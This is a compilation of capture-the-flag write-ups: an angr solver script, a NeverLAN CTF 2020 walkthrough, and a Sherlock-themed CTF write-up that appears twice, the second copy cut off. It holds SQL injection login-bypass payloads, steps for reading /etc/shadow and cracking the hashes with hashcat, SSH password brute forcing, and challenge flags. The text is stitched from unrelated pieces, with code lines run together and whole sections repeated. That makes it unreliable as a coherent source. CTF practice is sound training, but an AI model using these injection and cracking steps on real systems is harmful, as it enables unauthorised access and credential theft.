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```import angrimport claripyimport sysproject = angr.Project('./crossw0rd')
input_ = claripy.BVS('input', 24)
init_state = project.factory.entry_state()
def is_successful(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) if b'You cracked the system!' in stdout_output: return True else: return False
def should_abort(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) if b'Wrong password! Your attempt is over.' in stdout_output: return True else: return False
simulation = project.factory.simgr(init_state)
simulation.explore(find=is_successful,avoid= should_abort)
if simulation.found: found = simulation.found[0] print repr(found.state.posix.dumps(0)) ``` |
# NeverLAN CTF 2020Start: Sat, Feb 8 2020, 10:00 AM EST
End: Tue, Feb 11 2020, 7:00 PM EST
# Placing- [Students](student_scoreboard.png): 1st (max score)- General: 31st
# ReviewThis weekend I played in NeverlanCTF as the solo team `bosh`. The challenges were alright, although many of them were just guessing.
I didn't like how they did not announce challenge drops before they actually released them, and how the platform went down after the last wave of challenge releases.
# Writeups## Table of contents| Challenge Name | Category | Points ||:-:|:-:|:-:|| [Adobe Payroll](#adobe-payroll) | Reverse Engineering | 100 || [Script Kiddie](#script-kiddie) | Reverse Engineering | 100 || [Reverse Engineer](#reverse-engineer) | Reverse Engineering | 200 || [Pigsfly](#pigsfly) | Cryptography | 30 || [BaseNot64](#basenot64) | Cryptography | 50 || [Don't Take All Knight](#don't-take-all-knight) | Cryptography | 75 || [The Invisibles](#the-invisibles) | Cryptography | 75 || [Stupid Cupid](#stupid-cupid) | Cryptography | 100 || [My Own Encoding](#my-own-encoding) | Cryptography | 200 || [BabyRSA](#babyrsa) | Cryptography | 250 || [CryptoHole](#cryptohole) | Cryptography | 250 || [It is like an onion of secrets](#it-is-like-an-onion-of-secrets) | Cryptography | 300 || [Unsecured Login](#unsecured-login) | PCAP | 50 || [Unsecured Login2](#unsecured-login2) | PCAP | 75 || [FTP](#ftp) | PCAP | 100 || [Teletype Network](#teletype-network) | PCAP | 125 || [hidden-ctf-on-my-network](#hidden-ctf-on-my-network) | PCAP | 250 || [Listen to this](#listen-to-this) | Forensics | 125 || [Open Backpack](#open-backpack) | Forensics | 150 || [Look into the past](#look-into-the-past) | Forensics | 250 || [DasPrime](#dasprime) | Programming | 100 || [password_crack](#password_crack) | Programming | 100 || [Robot Talk](#robot-talk) | Programming | 200 || [BitsnBytes](#bitsnbytes) | Programming | 200 || [Evil](#evil) | Programming | 200 || [Front page of the Internet](#front-page-of-the-internet) | Recon | 50 || [The Big Stage](#the-big-stage) | Recon | 75 || [The Link](#the-link) | Recon | 75 || [Thats just Phreaky](#thats-just-phreaky) | Recon | 200 || [Cookie Monster](#cookie-monster) | Web | 10 || [Stop the Bot](#stop-the-bot) | Web | 50 || [SQL Breaker](#sql-breaker) | Web | 50 || [SQL Breaker 2](#sql-breaker-2) | Web | 75 || [Follow Me!](#follow-me) | Web | 100 || [Browser Bias](#browser-bias) | Web | 150 || [Chicken Little 1](#chicken-little-1) | Chicken Little | 35 || [Chicken Little 2](#chicken-little-2) | Chicken Little | 36 || [Chicken Little 3](#chicken-little-3) | Chicken Little | 37 || [Chicken Little 4](#chicken-little-4) | Chicken Little | 38 || [Chicken Little 5](#chicken-little-5) | Chicken Little | 39 || [Chicken Little 6](#chicken-little-6) | Chicken Little | 40 || [Chicken Little 7](#chicken-little-7) | Chicken Little | 100 || [Milk Please](#milk-please) | Trivia | 10 || [Professional Guessing](#professional-guessing) | Trivia | 10 || [Base 2^6](#base-2^6) | Trivia | 10 || [AAAAAAAAAAAAAA! I hate CVEs](#aaaaaaaaaaaaaa!-i-hate-cves) | Trivia | 20 || [Rick Rolled by the NSA???](#rick-rolled-by-the-nsa) | Trivia | 50 |
## Reverse Engineering### Adobe PayrollOnce we unzip with 7z we end up with two files:`description.MD``Adobe_Employee_Payroll.exe`
`description.MD` hints towards a software called [DotPeek](https://www.jetbrains.com/decompiler/).
DotPeek decompiles (read: translates to semi human readable code) .NET files, such as our .exe file. After we open `Adobe_Employee_Payroll.exe` up, we can explore the files:
Double clicking on something seems like a good idea. Now we can see the decompiled code for something that looks important:As you can see, `r1`, `r2`, `r3` and so (till `r38`) on seem to be holding integers. They seem like they're ASCII values... and they are!
Without even looking at the rest of the program, we can find the flag by converting all the values from `r1` through `r38` to letters.
### Script KiddieThe "encrypted" `encrypted_db` is really just a bunch of base64 strings, which are then encoded using hex.
We can decode by using this script:```pythonfrom base64 import b64decode
f = open("encrypted_db").read().strip().replace("\n", "").decode("hex")
f = b64decode(f.strip())
print(re.findall(r'flag{.+?}', f))```
Running the script gives the flag.
### Reverse EngineerLet's open it up in Ghidra.We scroll until we find a cool looking function called `print`. It seems to be building a string from hex values.
Converting all those from hex to ASCII gives the flag.
## Cryptography### PigsflyBasic substitution cipher, using the pigpen cipher alphabet.
Decrypting gives the flag.
### BaseNot64As from the title, the data is not in base 64. We play around with the different encodings in [cyberchef](https://gchq.github.io/CyberChef/).
Noticing that there are only capital letters / symbols in the plaintext, we can probably guess that the base will be relatively small. We try to decode it as a base 32 string, and it works.
Decoding gives the flag.
### Don't Take All KnightAnother basic substitution cipher, using the Knights Templar Code cipher. Decode.f<span>r</span> has a [nice solver](https://www.dcode.fr/templars-cipher).
Decrypting gives the flag.
### The InvisiblesYet another basic substitution cipher, using the Arthurs and the Invisibles alphabet. Decode.f<span>r</span> has a [nice solver](https://www.dcode.fr/arthur-invisibles-cipher).
Decrypting gives the flag.
### Stupid CupidGoogling `Cupid cipher` gives us some results about how James Madison hid his plaintexts in some text using numbers.
When we count the amount of numbers in the ciphertext at the top of the file, we find that it is equal to the amount of rows there are, and the highest number in the ciphertext does not exceed the number of columns :eyes:
We then guess that each row corresponds to a character of the plaintext, and each number in the ciphertext is the corresponding column to pick from.
For example:The first number in the ciphertext is `6`. The character at the first row, 6th column is `V`.Then, the second number in the ciphertext is `12`. The character at the second row, 12th column is `E`.
Continue to get the flag.
### My Own EncodingWe are presented with 16 5x5 grids, each with a single box blacked out.Shot in the dark.We reason that since it is 5x5, there are 25 choices which is close enough to 26 (letters of the alphabet).
We assume the top left represents the letter A, and the next one to the right represents B, and so on.
Doing so, we get `MHBDI...`, until we reach the 12th box. There is no marking here! Another shot in the dark. We assume that no marking represents the letter `A`.
Thus, our previously transcribed "plaintext" has to be Caesar shifted by 1 to get the flag, easy enough.
### BabyRSAQuestionable RSA. I didn't know what to do with the numbers since they were spaced out. I finally guessed they were individual characters of the flag and successfully decrypted them as such.
Using [factordb](http://factordb.com/), we can factor `n` into `17 * 149`, obviously the p and q for this challenge.
Now, using modified code from [a StackExchange article](https://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e), we can decrypt the flag character by character.
```python# Function from Geeks for Geeksdef modInverse(a, m): m0 = m, y = 0, x = 1 if (m == 1): return 0 while (a > 1) : q = a // m t = m m = a % m a = t t = y y = x - q * y x = t if (x < 0): x += m0 return x
def decrypt(ct): p = 17 q = 149 e = 569
# compute n n = p * q
# Compute phi(n) phi = (p - 1) * (q - 1)
# Compute mult mod inv of e d = modInverse(e, phi)
# Decrypt ciphertext pt = pow(ct, d, n) print(chr(pt), end="")
chall = "2193 1745 2164 970 1466 2495 1438 1412 1745 1745 2302 1163 2181 1613 1438 884 2495 2302 2164 2181 884 2302 1703 1924 2302 1801 1412 2495 53 1337 2217".split()
# this is probably bad practice but it workslist(map(lambda x: decrypt(int(x)), chall))```
### CryptoHoleBasically just a bunch of ciphers. Each level has a chal.txt which contains an encrypted password, and a password-protected zip file for the next layer.
Here is the order:
Layer 1 -`A ffine Cipher here 3`:- Affine Cipher- Brute force- Password is `AfvqPZW0bDMB&HTfzo`
Layer 2 - `Two is better than one`- Double Transposition Cipher- Both keys are `NEVERLANCTF`- Ciphertext decrypts to `PASSWORDV78DTNRI6KBD3SDFQXXXXXXXX`- Password is `V78DTNRI6KBD3SDFQ`
Layer 3 - `I'm on the fence with this one`- Rail Fence Cipher:- Brute force- `password:·VSEAS5aevg8Bwlovr`
Layer 4 - `Salad Time`- Keyed Caesar Cipher- Key is `neverLANCTF`- Shift is `0`- Password is `gTLvCGk$HyRVSssXVaSX`
Layer 5 - `ROTten`- Standard Caesar Cipher- Shift is `13`- Password is `e1Ydr*zxOOybF6RR%h5f`
Layer 6 - `Vigenere Equivent E`- Standard Caesar Cipher- Shift is `22`- Password is `fI7BPZL#ZN5PI!&pbTXc`
Layer 7 - `Easy one`- Base64 encoded string- Password is `vxw@Ztet#ZfBnYVxJ1IM`
Layer 8 - `Message indigestion`- MD5 digest- Brute force- Password is `password23`
Layer 9 - `For SHA dude`- SHA1 digest- Brute force- Password is `applez14`
Layer 10 - `ONE more TIME`- One Time Pad- First part of key is `This is our world now...` from `chal.txt` - Hints to a section from the Hacker Manifesto- Full key is: `This is our world now... the world of the electron and the switch, thebeauty of the baud. We make use of a service already existing without payingfor what could be`- Decrypt the OTP to get the flag
### It is like an onion of secretsWe get download the png image. In it is a funky lookin dog with no flag :(
We guess it is LSB encrypted since Binwalk doesn't return anything useful.
We plug it into [stylesuxx's LSB tool](https://stylesuxx.github.io/steganography) and we decode.
We get some base64, which we now play with a bunch in [CyberChef](https://gchq.github.io/CyberChef/).
After we base64 decode it twice, we get a bunch of:`lspv wwat kl rljvzfciggvnclzv`
Now we guess again and decrypt it using the `Variant Beaufort Vigenere cipher` (found on Cryptii's Vigenere tool) and key `NeverLANCTF`. The plaintext gives the flag.
## PCAP### Unsecured LoginYou don't even need Wireshark, just use `strings mysite.pcap | grep flag`
### Unsecured Login2You don't even need Wireshark, just use `strings mysite2.pcap | grep flag`
### FTPYou don't even need Wireshark, just use `strings ftp.pcap | grep flag`If you want to, you can right click on any ftp packet and follow the tcp stream. If there's no flag, then move on to the next stream.
### Teletype NetworkYou don't even need Wireshark, just use `strings telnet.pcap | grep flag`
### hidden-ctf-on-my-networkYou don't even need Wireshark, just use `strings telnet.pcap | grep flag`
## Forensics### Listen to thisWhen we listen to the mp3 initially, we can hear a faint beeping in the background. This sounds like Morse code, so let's find an easy way to transcribe it to text dits and dahs (radio speak for dots and dashes).
We open it up in Audacity, and notice there are two tracks. Let's switch to spectrogram view. We can do this by clicking on the arrow pointing downwards next to the track name, then clicking `Spectrogram`:
If we zoom in on the beginning of the track, we can see that the Morse code is in the second track:
One huge issue right now is that the Morse code is "covered" by the actual vocals of the track. I was stuck on this portion for a while.
Let's split the tracks to mono using the track settings.
Then, we subtract the original track from the track with morse code. After that, we'll be able to clearly see the morse code in spectrogram view.
First, we select one track, and invert it (`Effect > Invert`). Then, we select both tracks and mix them together (`Tracks > Mix > Mix and Render`).
It's still a bit hard to see, so let's change the coloring.
We open up track settings and then select `Spectrogram Settings`. We change the color range to 20 dB instead of 80 dB (decibels).
The result is morse code. Now all we have to do is open up a text editor, copy the morse code down, and convert it to text using an online tool (:
The short ones are dits and the long ones are dahs. I usually represent the short ones with `.` and the long ones with `-`, which is a format most online morse-to-text tools use as well.
That would be the first letter in the text.
### Open BackpackThe image says something is unzipped...Let's try `binwalk`.
Command: `binwalk -e openbackpack.jpg`
Binwalk extracts two files, a zip and a file called `flag.png`, which has the flag of course.
### Look into the pastWe download and unzip it. It seems they just compressed a system's directories from / and gave it to us...
We `cd` into the home directory for the user (`/home/User/`). Nothing seems interesting except for a `.bash_history` file, which reveals that they encrypted a flag using a concatenation of 3 passwords. We have to find the 3 passwords to decrypt the encrypted flag.
Password 1:It's in an image in `~/Pictures`. We use strings and find the signature for `steghide`. We can use `steghide extract -sf doggo.jpeg`. It takes a bit more guesswork to guess that there is no password. The password is in the extracted text file.
Password 2:The password is the password to the user named `user`. We read `/etc/shadow/`, and find the password.
Password 3:We first uncompress the `table.db.tar.gz` inside `/opt`.
Let's get everything from `table.db`: `sqlite3 table.db "SELECT * FROM passwords"`. This gives us the third password.
Now that we have all 3 passwords, we can decrypt the encrypted text file using `openssl enc -aes-256-cbc -d -in flag.txt.enc -out file.txt`. We supply the concatenation of the 3 passwords, and we read `file.txt` for the decrypted flag.
## Programming### DasPrimeWe want to find the 10947th prime number. We are given the following algorithm:```pythonimport mathdef main(): primes = [] count = 2 index = 0 while True: isprime = False for x in range(2, int(math.sqrt(count) + 1)): if count % x == 0: isprime = True continue if isprime: primes.append(count) print(index, primes[index]) index += 1 count += 1if __name__ == "__main__": main()```
This algorithm seems kind of slow...
We can write a faster script such as this one:```pythonfrom math import sqrt
def is_prime(n): if (n <= 1): return False if (n == 2): return True if (n % 2 == 0): return False
i = 3 while i <= sqrt(n): if n % i == 0: return False i = i + 2
return True
def prime_generator(): n = 1 while True: n += 1 if is_prime(n): yield n
generator = prime_generator()
x = []
for i in range(10948): x.append(next(generator))```
We access the 10497th element of `x` to get the flag (x[10496]).
### password_crackSimple MD5 brute force. I got the author names from the Discord server.
### Robot TalkWe just have to convert 5 base64 values to ASCII.
I used pwntools, a pretty neat library for tasks like these.
```pythonfrom pwn import *import base64
conn = remote("challenges.neverlanctf.com", 1120)
for i in range(5): print(conn.recvuntil("decrypt: ")) x = conn.recv().strip() print(x) y = base64.b64decode(x) print(y) conn.send(y) print(conn.recvline())
print(conn.recv())```### BitsnBytes> https://challenges.neverlanctf.com:1150
This site gives an svg which we can download. Quite obviously, the colors represent `0` and `1` in binary (gray is 1, green is 0).
We find out that we can download the svg information directly from `/svg.php`, which makes it much easier for a script.
We parse the image, using regex to remove all different attributes such as x, y, width, and height for each `<rect>` in the svg. Then, we simply just use `str.replace()` in Python to get the binary string.
Then we convert that binary string into text.
However, most of the time the server will return an svg that doesn't have the flag. Instead, it will return some time hash information which is useless to us.
We can repeatedly query the server for an svg until it gives us a flag svg.
```from __future__ import print_function
import requests
while True: f = requests.get("https://challenges.neverlanctf.com:1150/svg.php").text.decode()
f = f[336:-9]
f= f.strip()
import re
s = re.compile(r"\sid='\d*'") a = re.compile(r"\sx='\d*'") b = re.compile(r"\sy='\d*'")
c = re.compile(r"width='\d*' ") d = re.compile(r"height='\d*' ")
f = s.sub("", f) f = a.sub("", f) f = b.sub("", f) f = c.sub("", f) f = d.sub("", f)
#print(f)
f = f.replace("<rect style='fill:#333136'/>", "1") f = f.replace("<rect style='fill:#00ff00'/>", "0")
f = [f[i:i+8] for i in range(0, len(f), 8)]
#print(f)
x = "".join([chr(int(i, 2)) for i in f])
if not "time hash:" in x: print(x)```
### Evil> ssh [email protected] -p 3333> password: eyesofstone
We initially find an intel.txt, giving us information. We have to ssh onto `evil@victim`.
Using Medusa (an ssh password cracker), we can bruteforce the password easily. It is `0024`.
Once ssh'd, we find a zip file with some base64 as its name. It's password protected, so we try decoding the name.
Decoded, the name of the zip file is `stonecold`, which is used to unzip the zip file.
The content of the zip file is the flag.
## Recon### Front page of the InternetThe "front page of the Internet" is Reddit.The author is `ZestyFE`, so we guess that he has a Reddit account under the same name.
We navigate to `/u/ZestyFE` on Reddit, and find the flag in one of ZestyFE's comments.
### The Big StageWe search up SaintCon keynotes and find that NeverLAN keynoted in 2018
Unfortunately the SaintCon site is not 100% functional so we're stuck...
Then we guses that keynoting a conference is pretty cool and they must have posted something to commemorate the event on [their Twitter](https://twitter.com/NeverLanCTF).
They actually link us [their slides](https://twitter.com/NeverLanCTF/status/1044640438131388422)
The flag is right next to a picture of Rick Astley :p
### The LinkDuring the competition there were streams for music and the like. If we go under their music tab and select track #2 we see a YouTube video.
Exploring the comments reveals a flag that someone commented.
### Thats just PhreakyWe Google for `01 September 2017 | 14:01 phreak`.
We find the first [Darknet Diaries episode](https://darknetdiaries.com/episode/1/).
By some stroke of pure geniosity we right click to view the source code of the site and the flag is at the bottom.
## Web### Cookie Monster> https://challenges.neverlanctf.com:1110
The title hints that it has something to do with cookies.
When we visit the site, it says `He's my favorite Red guy`. We guess this to be `Elmo` from Sesame Street.
We look at the cookies, and find a cookie `Red_Guy's_Name: NameGoesHere`. We replace `NameGoesHere` with `elmo`.
We get the flag by refreshing the tab.
### Stop the Bot> https://challenges.neverlanctf.com:1140
The site looks pretty boring, so let's take a look at `/robots.txt`, which is hinted at by the title:```User-agent: *Disallow: /Disallow: flag.txt```
We navigate to `/flag.txt` for the flag.
### SQL Breaker> https://challenges.neverlanctf.com:1160/
Simple SQL injection in the login page.Note that the password does not matter, only the username is vulnerable.
The goal is to log in as an admin.
Payload:```Username: ' OR 1=1;-- Password: asdf```
Return to the home page for the flag.
### SQL Breaker 2> https://challenges.neverlanctf.com:1165/
Simple SQL injection in the login page.Note that the password does not matter, only the username is vulnerable.
The goal is to log in as an admin.
This time, there seems to be multiple accounts, and the previous payload logs us in as `John`, who is not an admin. We have to skip over John's account using SQL's `LIMIT` to log in as admin.
Payload:```Username: ' OR 1=1, LIMIT 1;-- Password: asdf```
Return to the home page for the flag.
### Follow Me> https://7aimehagbl.neverlanctf.com
This website redirects so many times your browser just gives up. We can use Python's `requests` module and the `follow_redirects=False` option:```pythonimport requestsp = requests.get("https://7aimehagbl.neverlanctf.com", allow_redirects=False)```On the first visit (using Python), the page states where it's redirecting. How convenient. How about we just follow the trail?
```pythonimport requests
url = "https://7aimehagbl.neverlanctf.com"
while True: p = requests.get(url, allow_redirects=False) print(p.text) url = "https://" + p.text.split()[-1]```
The flag is in one of the sites that we get redirected to.
### Browser Bias> https://challenges.neverlanctf.com:1130
When we try to visit the site normally, it says that the site is only for `commodo 64` browsers.
We guess that the server tells what browser we are using based on the User-Agent header of the request.
When we Google for Commodo 64 browsers, we end up with a browser named `Contiki`. We search for the Contiki User-Agent.
We find a [really long list of User-Agents](https://gist.github.com/dstufft/2502524) that ever downloaded something from PyPI on GitHub Gists, and we Ctrl-F for Contiki.
We find the User-Agent for Contiki as `Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)`.
We set that as our User-Agent using Python's `requests`, and request the home page, which gives us the flag.
## Chicken LittleWe basically have to ssh onto a server and retrieve the flag from it. We start from Chicken Little 1. We use the flag from Chicken Little 1 as the password for the ssh onto Chicken Little 2, etc.
### Chicken Little 1Use an `ls` and find `Welcome.txt`.Read the file for the flag.
### Chicken Little 2Use an `ls -a` (-a flag to show hidden files) and find `.chicken.txt`.Read the file for the flag.
### Chicken Little 3We find `BAWK.txt` with a bunch of "BAWK"s in it. Knowing the password format we guess that this password also has a `-` in it, so we grep for `-` in the file for the flag.
### Chicken Little 4We find a binary file with the flag presumably hidden in it. We can use `strings` to first extract the printable strings, then grep for `-` in it, which gives the flag.
### Chicken Little 5We can use `binwalk -e` to extract files from the file, giving us a file with the flag.
### Chicken Little 6We can use `scp` to transfer the file to our local machine since `curl` was removed.
`scp -P 3333 [email protected]:~/chicken-little.png .`
The flag is visible in the image.
### Chicken Little 7We are told we need to find the password to the user `level7` on the system. We read `/etc/shadow` for the `level7` password hash.
We generate a wordlist of all possible 4-character combinations using `crunch 1 4 > pass.txt`.
We can use `hashcat -m 1800 -a 0 h.hash pass.txt` to eventually break the hash (it was supposed to take ~15 minutes).
I used a brute-force script on a remote server because my 2011 mac really did not like running SHA512 a lot of times.
## Trivia### Milk Please> Trivia Question: a reliable mechanism for websites to remember stateful information. Yummy!>It's talking about cookies, which is the flag.### Professional Guessing> The process of attempting to gain Unauthorized access to restricted systems using common passwords or algorithms that guess passwords
Google the description.
An article defines the description for the term "password cracking", which is the flag.### Base 2^6> A group of binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation
`Radix-64` basically tells us that the flag is base64.
### AAAAAAAAAAAAAA! I hate CVEs> This CVE reminds me of some old school exploits. If flag is enabled in sudoers
We Google `If flag is enabled in sudoers cve` and find [this site](https://www.exploit-db.com/exploits/47995), which has the flag in it.
### Rick Rolled by the NSA> This CVE Proof of concept Shows NSA.go<span>v</span> playing "Never Gonna Give You Up," by 1980s heart-throb Rick Astley.Use the CVE ID for the flag. flag{CVE-?????????}
I remember seeing this as a meme on Reddit :laughing:Googling the description gives news articles detailing the correct CVE ID for the flag. |
First public CTF in 2020! 85th place, not bad, A good start to the year!
Note: The flags for this CTF is case-insensitive
# Forensics
Doc. Holmes-----```Prompt: Sherlock got it on his super secret channels. You have received a copy of mail. Is everything okay with it?```
Pretty simple, using ```file some.file``` gives us ```Microsoft Word 2007+```, renamed it, then open it up and it gives us a piece of work in a word document with a few random pictures. After extracting with binwalk, I went to the ```_some.doc.extracted/word/media```, then noticed that the original document had 2 pictures shown, but this contained 3. So opened ```image3.jpg``` then got the flag.```FLAG{prominentplace}```
Blogger-----```Prompt: Recently, John's keys began to be pressed by themselves when he runs his blog. You need to figure out what's the matter.```
USB inputs can be traced with pcap files, the USB HID usage tables can be found on USB.org. The manual can be found [here](https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf) Page 53. I then traced source from 1.7.1 to host because of remote usage, then traced the last few bytes of the inputs.
Since we're looking for ```FLAG```, I looked for the usage IDs, 09, 0F, 04, 0A, respectively. Which leads to packet 541. F
 L
 A
 G
Decrypt it up to the ```}``` symbol and you get```FLAG{like_a_b100dh0und}```
# Reverse
crossw0rd-----```Prompt: While the children were playing toys, Sherlock was solving crosswords in large volumes.```
After disassembling the ELF file, we getGet into the ```_Z5checkv``` and we seeThe top part is taking in an input, hence we see the ```_scanf``` function. Let's check the ```_Z1ePc``` function.
Intersting, looks like there is a function inside the function since it calls. Let's try going in the loop and find out.
```Func _Z1ePc```
```Func _Z1bPc```
```Func _Z1dPc```
```Func _Z1fPc```
```Func _Z1cPc```
```Func _Z1aPc```
So we start in *```_Z1ePc```*, let's get the values that we need:
add rax, 7cmp al, 35h ; '5'
add rax, 11hcmp al, 67h ; 'g'
add rax, 2cmp al, 41h ; 'A'
*```_Z1bPc```*
add rax, 0Fhcmp al, 69h ; 'i'
add rax, 9cmp al, 72h ; 'r'
add rax, 1cmp al, 4Ch ; 'L'
*```_Z1dPc```*
add rax, 0Ahcmp al, 33h ; '3'
add rax, 12hcmp al, 7Dh ; '}'
add rax, 6cmp al, 61h ; 'a'
*```_Z1fPc```*
cmp al, 46h ; 'F'
add rax, 0Ehcmp al, 35h ; '5'
add rax, 10hcmp al, 6Eh ; 'n'
*```_Z1cPc```*
add rax, 3cmp al, 47h ; 'G'
add rax, 0Bhcmp al, 76h ; 'v'
add rax, 5cmp al, 33h ; '3'
*```_Z1aPc```*
add rax, 4cmp al, 7Bh ; '{'
add rax, 0Chcmp al, 33h ; '3'
add rax, 8cmp al, 79h ; 'y'
add rax, 0Dhcmp al, 72h ; 'r'
Since we loaded our string to rax, think of the string as an array. rax is our array and basically adding to it shows us the position of the array that we're trying to compare the character to. So what do we do? Of course, put the numbers that are getting "added" to rax in order. The highest number we see is 12h, which means there are 19 characters in the string because we need to include the 0th array value. After rearranging them, we get the flag:```FLAG{3a5yr3v3r5ing}```
Let's check!
# Misc
True Detective-----```Prompt: And now it's time to show the skills of a real detective! https://clck.ru/MCop6```We need to figure out where the each place is. However, there's a small trick I discovered. First, go to the developer tools on the browser you're using and take a look at the debugger menu on the google docs and look at the viewform. 
Next, go all the way to the bottom as that's where the form stores the warnings.
There we go! Our prompt answers and the flag pieces!
```,"1 - FLAG{08"]]]],null,null,null,null,[["1cTysniECWio21dKH90wnnzNxlB4gKBJI7Bri1Q_K4moAtg",null,[740,385,0]]]],[2014750817,"What is the name of this place?",null,0,[[1092335700,null,0,null,[[4,300,["(bridport|Bridport)"],"2 - c49c3d9a"]]]],null,null,null,null,[["1sd8oiCWcjd1_HiCrOA2f1hrgkknzJvT_Y-tVgx5qjBanKw",null,[740,417,0]]]],[771036932,"Very beautiful Park where Sherlock likes to walk. Where is it?",null,0,[[1600364512,null,0,null,[[4,300,["(finsbury|Finsbury)"],"3 - e8898343"]]]],null,null,null,null,[["1-w_MvKBaer5I78ICXo70E94lH4vKSPmCRekszxbOblJRvA",null,[740,377,0]]]],[302390155,"Every Englishman has been to this square at least once",null,0,[[661956933,null,0,null,[[4,300,["(euston|Euston)"],"4 - 7729747b"]]]],null,null,null,null,[["1sGu1uvZD9tXdbS0ypGTsI05LDj8Bd1U03VV_vjDLI3bY6A",null,[740,385,0]]]],[1070034509,"Which Embassy building is shown in the photo",null,0,[[2072641709,null,0,null,[[4,300,["(hungary|Hungary)"],"5 - cf1be8}"]```
```FLAG{08c49c3d9ae88983437729747bcf1be8}```
# Crypto
Invitation-----```Prompt: Sherlock doesn't like going to parties. But this time an invitation came to him, which he could not refuse.```
A dancing men puzzle!All we need to do here is to look for the signs that look like: 
The flag starts from the right side: 
Which translates to:flag{discoinSaratov}. But this didn't work, so we formatted to ```flag{disco_in_Saratov}```
# PPC
Mind palace I-----I should get back to practicing scripting.```Prompt: It looks like the situation is hopeless, there is no time to think. However, you can use the mind palace and solve all problems instantly.
nc 212.47.229.1 33001```This was at first tricky, since I thought that it had to do with Python pacakges since it kept writing ```pip``` and ```piiiip```, but turns out it was a Morse code, with ```pip``` being ```.``` and ```piiiip``` being ```-```
I logged the results by writing ```nc 212.47.229.1 33001 > res.log```, then using vim, by first writing: ```%s/pip/./g``` then ```%s/piiiip/-/g```. Then I removed the ^M s (```%s/^M//g note;```), then decoded the input by removing the spaces first, then finding for similar morse that looked like ```..-. .-.. .- --.``` then went on from there. It turns out around 3 sentences from the Adventure of the Empty House chapter from Return of Sherlock Holmes. ```..-. .-.. .- --. ... .... . .-. .-.. --- -.-. -.- .-.. .. -.- . ... -.-- --- ..- .-. -- --- .-. ... . ```
```flag{sherlocklikesyourmorse}``` |
First public CTF in 2020! 85th place, not bad, A good start to the year!
Note: The flags for this CTF is case-insensitive
# Forensics
Doc. Holmes-----```Prompt: Sherlock got it on his super secret channels. You have received a copy of mail. Is everything okay with it?```
Pretty simple, using ```file some.file``` gives us ```Microsoft Word 2007+```, renamed it, then open it up and it gives us a piece of work in a word document with a few random pictures. After extracting with binwalk, I went to the ```_some.doc.extracted/word/media```, then noticed that the original document had 2 pictures shown, but this contained 3. So opened ```image3.jpg``` then got the flag.```FLAG{prominentplace}```
Blogger-----```Prompt: Recently, John's keys began to be pressed by themselves when he runs his blog. You need to figure out what's the matter.```
USB inputs can be traced with pcap files, the USB HID usage tables can be found on USB.org. The manual can be found [here](https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf) Page 53. I then traced source from 1.7.1 to host because of remote usage, then traced the last few bytes of the inputs.
Since we're looking for ```FLAG```, I looked for the usage IDs, 09, 0F, 04, 0A, respectively. Which leads to packet 541. F
 L
 A
 G
Decrypt it up to the ```}``` symbol and you get```FLAG{like_a_b100dh0und}```
# Reverse
crossw0rd-----```Prompt: While the children were playing toys, Sherlock was solving crosswords in large volumes.```
After disassembling the ELF file, we getGet into the ```_Z5checkv``` and we seeThe top part is taking in an input, hence we see the ```_scanf``` function. Let's check the ```_Z1ePc``` function.
Intersting, looks like there is a function inside the function since it calls. Let's try going in the loop and find out.
```Func _Z1ePc```
```Func _Z1bPc```
```Func _Z1dPc```
```Func _Z1fPc```
```Func _Z1cPc```
```Func _Z1aPc```
So we start in *```_Z1ePc```*, let's get the values that we need:
add rax, 7cmp al, 35h ; '5'
add rax, 11hcmp al, 67h ; 'g'
add rax, 2cmp al, 41h ; 'A'
*```_Z1bPc```*
add rax, 0Fhcmp al, 69h ; 'i'
add rax, 9cmp al, 72h ; 'r'
add rax, 1cmp al, 4Ch ; 'L'
*```_Z1dPc```*
add rax, 0Ahcmp al, 33h ; '3'
add rax, 12hcmp al, 7Dh ; '}'
add rax, 6cmp al, 61h ; 'a'
*```_Z1fPc```*
cmp al, 46h ; 'F'
add rax, 0Ehcmp al, 35h ; '5'
add rax, 10hcmp al, 6Eh ; 'n'
*```_Z1cPc```*
add rax, 3cmp al, 47h ; 'G'
add rax, 0Bhcmp al, 76h ; 'v'
add rax, 5cmp al, 33h ; '3'
*```_Z1aPc```*
add rax, 4cmp al, 7Bh ; '{'
add rax, 0Chcmp al, 33h ; '3'
add rax, 8cmp al, 79h ; 'y'
add rax, 0Dhcmp al, 72h ; 'r'
Since we loaded our string to rax, think of the string as an array. rax is our array and basically adding to it shows us the position of the array that we're trying to compare the character to. So what do we do? Of course, put the numbers that are getting "added" to rax in order. The highest number we see is 12h, which means there are 19 characters in the string because we need to include the 0th array value. After rearranging them, we get the flag:```FLAG{3a5yr3v3r5ing}```
Let's check!
# Misc
True Detective-----```Prompt: And now it's time to show the skills of a real detective! https://clck.ru/MCop6```We need to figure out where the each place is. However, there's a small trick I discovered. First, go to the developer tools on the browser you're using and take a look at the debugger menu on the google docs and look at the viewform. 
Next, go all the way to the bottom as that's where the form stores the warnings.
There we go! Our prompt answers and the flag pieces!
```,"1 - FLAG{08"]]]],null,null,null,null,[["1cTysniECWio21dKH90wnnzNxlB4gKBJI7Bri1Q_K4moAtg",null,[740,385,0]]]],[2014750817,"What is the name of this place?",null,0,[[1092335700,null,0,null,[[4,300,["(bridport|Bridport)"],"2 - c49c3d9a"]]]],null,null,null,null,[["1sd8oiCWcjd1_HiCrOA2f1hrgkknzJvT_Y-tVgx5qjBanKw",null,[740,417,0]]]],[771036932,"Very beautiful Park where Sherlock likes to walk. Where is it?",null,0,[[1600364512,null,0,null,[[4,300,["(finsbury|Finsbury)"],"3 - e8898343"]]]],null,null,null,null,[["1-w_MvKBaer5I78ICXo70E94lH4vKSPmCRekszxbOblJRvA",null,[740,377,0]]]],[302390155,"Every Englishman has been to this square at least once",null,0,[[661956933,null,0,null,[[4,300,["(euston|Euston)"],"4 - 7729747b"]]]],null,null,null,null,[["1sGu1uvZD9tXdbS0ypGTsI05LDj8Bd1U03VV_vjDLI3bY6A",null,[740,385,0]]]],[1070034509,"Which Embassy building is shown in the photo",null,0,[[2072641709,null,0,null,[[4,300,["(hungary|Hungary)"],"5 - cf1be8}"]```
```FLAG{08c49c3d9ae88983437729747bcf1be8}```
# Crypto
Invitation-----```Prompt: Sherlock doesn't like going to parties. But this time an invitation came to him, which he could not refuse.```
